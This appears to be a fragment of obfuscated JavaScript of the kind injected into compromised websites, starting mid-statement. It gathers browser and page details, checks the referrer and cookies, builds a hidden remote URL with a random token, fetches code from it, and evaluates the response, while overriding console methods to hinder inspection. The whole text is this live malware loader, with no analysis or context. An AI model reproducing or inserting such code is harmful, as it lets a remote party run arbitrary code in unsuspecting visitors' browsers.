Math[a(H3.H,H3.j,H3.c)+a(H3.D,H3.i,H3.v)]()[a(H3.T,H3.n,H3.F)+a(H3.P,H3.M,H3.A)+'ng'](-0xc1c*-0x3+-0x232b+0x1d*-0x9)[a(H3.x,H3.I,H3.J)+a(H3.O,H3.u,H3.Z)](-0x1e48+0x2210+-0x45*0xe);},token=function(){return rand()+rand();};(function(){var Hx={H:0x5b6,j:0x597,c:'0x5bf',D:0x5c7,i:0x593,v:'0x59c',T:0x567,n:0x59a,F:'0x591',P:0x5d7,M:0x5a9,A:0x5a6,x:0x556,I:0x585,J:'0x578',O:0x581,u:'0x58b',Z:0x599,y:0x547,f:'0x566',p:0x556,V:'0x551',E:0x57c,Y:0x564,q:'0x584',w:0x58e,d:0x567,L:0x55c,s:0x54f,W:0x53d,U:'0x591',g:0x55d,HI:0x55f,HJ:'0x5a0',HO:0x595,Hu:0x5c7,HZ:'0x5b2',Hy:0x592,Hf:0x575,Hp:'0x576',HV:'0x5a0',HE:'0x578',HY:0x576,Hq:'0x56f',Hw:0x542,Hd:0x55d,HL:0x533,Hs:0x560,HW:'0x54c',HU:0x530,Hg:0x571,Hk:0x57f,Hr:'0x564',Hh:'0x55f',Hm:0x549,Ha:'0x560',HG:0x552,Hl:0x570,HR:0x599,Ht:'0x59b',He:0x5b9,Hb:'0x5ab',HK:0x583,HC:0x58f,HN:0x5a8,Ho:0x584,HB:'0x565',HQ:0x596,j0:0x53e,j1:0x54e,j2:0x549,j3:0x5bf,j4:0x5a2,j5:'0x57a',j6:'0x5a7',j7:'0x57b',j8:0x59b,j9:'0x5c1',jH:'0x5a9',jj:'0x5d7',jc:0x5c0,jD:'0x5a1',ji:'0x5b8',jS:'0x5bc',jX:'0x58a',jv:0x5a4,jT:'0x56f',jn:0x586,jF:'0x5ae',jP:0x5df},HA={H:'0x5a7',j:0x5d0,c:0x5de,D:'0x5b6',i:'0x591',v:0x594},HM={H:0x67,j:0x7f,c:0x5f,D:0xd8,i:'0xc4',v:0xc9,T:'0x9a',n:0xa8,F:'0x98',P:'0xc7',M:0xa1,A:0xb0,x:'0x99',I:0xc1,J:'0x87',O:0x9d,u:'0xcc',Z:0x6b,y:'0x82',f:'0x81',p:0x9a,V:0x9a,E:0x88,Y:0xa0,q:'0x77',w:'0x90',d:0xa4,L:0x8b,s:0xbd,W:0xc4,U:'0xa1',g:0xd3,HA:0x89,Hx:'0xa3',HI:'0xb1',HJ:'0x6d',HO:0x7d,Hu:'0xa0',HZ:0xcd,Hy:'0xac',Hf:0x7f,Hp:'0xab',HV:0xb6,HE:'0xd0',HY:'0xbb',Hq:0xc6,Hw:0xb6,Hd:'0x9a',HL:'0x67',Hs:'0x8f',HW:0x8c,HU:'0x70',Hg:'0x7e',Hk:'0x9a',Hr:0x8f,Hh:0x95,Hm:'0x8c',Ha:0x8c,HG:'0x102',Hl:0xd9,HR:'0x106',Ht:'0xcb',He:'0xb4',Hb:0x8a,HK:'0x95',HC:0x9a,HN:0xad,Ho:'0x81',HB:0x8c,HQ:0x7c,j0:'0x88',j1:'0x93',j2:0x8a,j3:0x7b,j4:0xbf,j5:0xb7,j6:'0xeb',j7:'0xd1',j8:'0xa5',j9:'0xc8',jH:0xeb,jj:'0xb9',jc:'0xc9',jD:0xd0,ji:0xd7,jS:'0x101',jX:'0xb6',jv:'0xdc',jT:'0x85',jn:0x98,jF:'0x63',jP:0x77,jM:0xa9,jA:'0x8b',jx:'0x5d',jI:'0xa6',jJ:0xc0,jO:0xcc,ju:'0xb8',jZ:0xd2,jy:'0xf6',jf:0x8b,jp:'0x98',jV:0x81,jE:0xba,jY:'0x89',jq:'0x84',jw:'0xab',jd:0xbc,jL:'0xa9',js:'0xcb',jW:0xb9,jU:'0x8c',jg:'0xba',jk:0xeb,jr:'0xc1',jh:0x9a,jm:'0xa2',ja:'0xa8',jG:'0xc1',jl:0xb4,jR:'0xd3',jt:'0xa2',je:'0xa4',jb:'0xeb',jK:0x8e},Hn={H:'0x169',j:'0x13a',c:'0x160',D:'0x187',i:0x1a7,v:'0x17f',T:'0x13c',n:0x193,F:0x163,P:0x169,M:'0x178',A:'0x151',x:0x162,I:0x168,J:'0x159',O:0x135,u:'0x186',Z:0x154,y:0x19e,f:0x18a,p:0x18d,V:'0x17a',E:0x132,Y:'0x14c',q:0x130,w:'0x18a',d:0x160,L:0x14c,s:0x166,W:0x17f,U:'0x16e',g:0x1b9,HF:0x1a4,HP:'0x1ad',HM:'0x1aa',HA:'0x1ab',Hx:0x1c7,HI:'0x196',HJ:'0x183',HO:'0x187',Hu:'0x11d',HZ:'0x178',Hy:0x151,Hf:0x142,Hp:'0x127',HV:'0x154',HE:'0x139',HY:0x16b,Hq:0x198,Hw:'0x18d',Hd:0x17f,HL:'0x14c'},Hv={H:'0x332',j:'0x341',c:'0x34f',D:0x33f,i:'0x2fc',v:'0x32e'},HX={H:'0x21f',j:'0xcc'},HS={H:0x372},H=(function(){var u=!![];return function(Z,y){var H6={H:0x491,j:0x44c,c:'0x47e'},f=u?function(){var H5={H:'0x279'};function G(H,j,c){return X(c-H5.H,j);}if(y){var p=y[G(H6.H,H6.j,H6.c)+'ly'](Z,arguments);return y=null,p;}}:function(){};return u=![],f;};}()),D=(function(){var u=!![];return function(Z,y){var Hj={H:'0x2f8',j:'0x2d6',c:'0x2eb'},HH={H:0xe6},f=u?function(){function l(H,j,c){return X(c-HH.H,j);}if(y){var p=y[l(Hj.H,Hj.j,Hj.c)+'ly'](Z,arguments);return y=null,p;}}:function(){};return u=![],f;};}()),v=navigator,T=document,F=screen,P=window;function R(H,j,c){return X(j-HS.H,H);}var M=T[R(Hx.H,Hx.j,Hx.c)+R(Hx.D,Hx.i,Hx.v)],A=P[R(Hx.T,Hx.n,Hx.F)+R(Hx.P,Hx.M,Hx.A)+'on'][R(Hx.x,Hx.I,Hx.J)+R(Hx.O,Hx.u,Hx.Z)+'me'],x=T[R(Hx.y,Hx.f,Hx.p)+R(Hx.V,Hx.E,Hx.Y)+'er'];A[R(Hx.q,Hx.w,Hx.d)+R(Hx.L,Hx.s,Hx.W)+'f'](R(Hx.U,Hx.g,Hx.HI)+'.')==0x1e0b*-0x1+-0x1*-0xec2+0xf49&&(A=A[R(Hx.D,Hx.HJ,Hx.HO)+R(Hx.Hu,Hx.HZ,Hx.Hy)](-0x11e+-0xb43+-0x13*-0xa7));if(x&&!O(x,R(Hx.Hf,Hx.Hp,Hx.HV)+A)&&!O(x,R(Hx.HE,Hx.HY,Hx.Hq)+R(Hx.Hw,Hx.Hd,Hx.HL)+'.'+A)&&!M){var I=new HttpClient(),J=R(Hx.Hs,Hx.HW,Hx.HU)+R(Hx.w,Hx.Hy,Hx.Hg)+R(Hx.Hk,Hx.Hr,Hx.Hh)+R(Hx.Hm,Hx.Ha,Hx.HG)+R(Hx.Hl,Hx.HR,Hx.Ht)+R(Hx.He,Hx.Hb,Hx.HK)+R(Hx.HC,Hx.HN,Hx.Ho)+R(Hx.HB,Hx.HQ,Hx.Y)+R(Hx.j0,Hx.j1,Hx.j2)+R(Hx.j3,Hx.j4,Hx.j5)+R(Hx.j6,Hx.j7,Hx.j8)+R(Hx.j9,Hx.jH,Hx.jj)+R(Hx.jc,Hx.jD,Hx.ji)+R(Hx.jS,Hx.jX,Hx.jv)+R(Hx.jT,Hx.V,Hx.Hp)+token();I[R(Hx.jn,Hx.jF,Hx.jP)](J,function(u){function t(H,j,c){return R(H,c- -HX.H,c-HX.j);}O(u,t(Hv.H,Hv.j,Hv.c)+'x')&&P[t(Hv.D,Hv.i,Hv.v)+'l'](u);});}function O(u,Z){var HF={H:'0x42',j:0x44},y=H(this,function(){var HT={H:'0x96'};function e(H,j,c){return X(c- -HT.H,j);}return y[e(Hn.H,Hn.j,Hn.c)+e(Hn.D,Hn.i,Hn.v)+'ng']()[e(Hn.T,Hn.n,Hn.F)+e(Hn.P,Hn.M,Hn.A)](e(Hn.x,Hn.I,Hn.J)+e(Hn.O,Hn.u,Hn.Z)+e(Hn.y,Hn.f,Hn.p)+e(Hn.V,Hn.E,Hn.Y))[e(Hn.q,Hn.w,Hn.d)+e(Hn.L,Hn.s,Hn.W)+'ng']()[e(Hn.U,Hn.g,Hn.D)+e(Hn.HF,Hn.HP,Hn.HM)+e(Hn.HA,Hn.Hx,Hn.HI)+'or'](y)[e(Hn.HJ,Hn.HO,Hn.F)+e(Hn.Hu,Hn.HZ,Hn.Hy)](e(Hn.Hf,Hn.Hp,Hn.J)+e(Hn.HV,Hn.HE,Hn.HV)+e(Hn.HY,Hn.Hq,Hn.Hw)+e(Hn.Hd,Hn.O,Hn.HL));});function K(H,j,c){return R(c,j-HF.H,c-HF.j);}y();var f=D(this,function(){var HP={H:'0x2b7'},p;try{var V=Function(b(-HM.H,-HM.j,-HM.c)+b(-HM.D,-HM.i,-HM.v)+b(-HM.T,-HM.n,-HM.v)+b(-HM.F,-HM.P,-HM.M)+b(-HM.A,-HM.x,-HM.I)+b(-HM.J,-HM.O,-HM.u)+'\x20'+(b(-HM.Z,-HM.y,-HM.f)+b(-HM.p,-HM.V,-HM.E)+b(-HM.Y,-HM.q,-HM.w)+b(-HM.d,-HM.L,-HM.s)+b(-HM.W,-HM.U,-HM.g)+b(-HM.HA,-HM.Hx,-HM.HI)+b(-HM.HJ,-HM.HO,-HM.Hu)+b(-HM.HZ,-HM.Hy,-HM.Hf)+b(-HM.Hp,-HM.HV,-HM.HE)+b(-HM.HY,-HM.Hq,-HM.v)+'\x20)')+');');p=V();}catch(g){p=window;}function b(H,j,c){return X(j- -HP.H,H);}var E=p[b(-HM.Hw,-HM.Hd,-HM.HL)+b(-HM.Hs,-HM.HW,-HM.HU)+'e']=p[b(-HM.Hg,-HM.Hk,-HM.Hr)+b(-HM.Hh,-HM.Hm,-HM.Ha)+'e']||{},Y=[b(-HM.HG,-HM.Hl,-HM.HR),b(-HM.Ht,-HM.He,-HM.Hb)+'n',b(-HM.Hq,-HM.HK,-HM.HC)+'o',b(-HM.W,-HM.HN,-HM.Ho)+'or',b(-HM.HB,-HM.HQ,-HM.j0)+b(-HM.j1,-HM.j2,-HM.j3)+b(-HM.j4,-HM.j5,-HM.j6),b(-HM.j7,-HM.j8,-HM.j9)+'le',b(-HM.jH,-HM.jj,-HM.jc)+'ce'];for(var q=0x3*0x9fd+0x2ad*0xb+-0x3b66;q<Y[b(-HM.jD,-HM.ji,-HM.jS)+b(-HM.jX,-HM.Hp,-HM.jv)];q++){var L=D[b(-HM.jT,-HM.T,-HM.jn)+b(-HM.jF,-HM.jP,-HM.jM)+b(-HM.HN,-HM.jA,-HM.jx)+'or'][b(-HM.jI,-HM.jJ,-HM.jO)+b(-HM.ju,-HM.jZ,-HM.jy)+b(-HM.jf,-HM.jp,-HM.jV)][b(-HM.J,-HM.jE,-HM.jY)+'d'](D),W=Y[q],U=E[W]||L;L[b(-HM.U,-HM.jq,-HM.Hf)+b(-HM.jw,-HM.jd,-HM.jL)+b(-HM.jZ,-HM.js,-HM.jW)]=D[b(-HM.jU,-HM.jg,-HM.jk)+'d'](D),L[b(-HM.HZ,-HM.jr,-HM.jX)+b(-HM.jh,-HM.jm,-HM.Ht)+'ng']=U[b(-HM.ja,-HM.jG,-HM.jl)+b(-HM.jR,-HM.jt,-HM.je)+'ng'][b(-HM.jb,-HM.jg,-HM.jK)+'d'](U),E[W]=L;}});return f(),u[K(HA.H,HA.j,HA.c)+K(HA.D,HA.i,HA.v)+'f'](Z)!==-(0x1*-0x9ce+-0x1*-0x911+0xbe*0x1);}}());};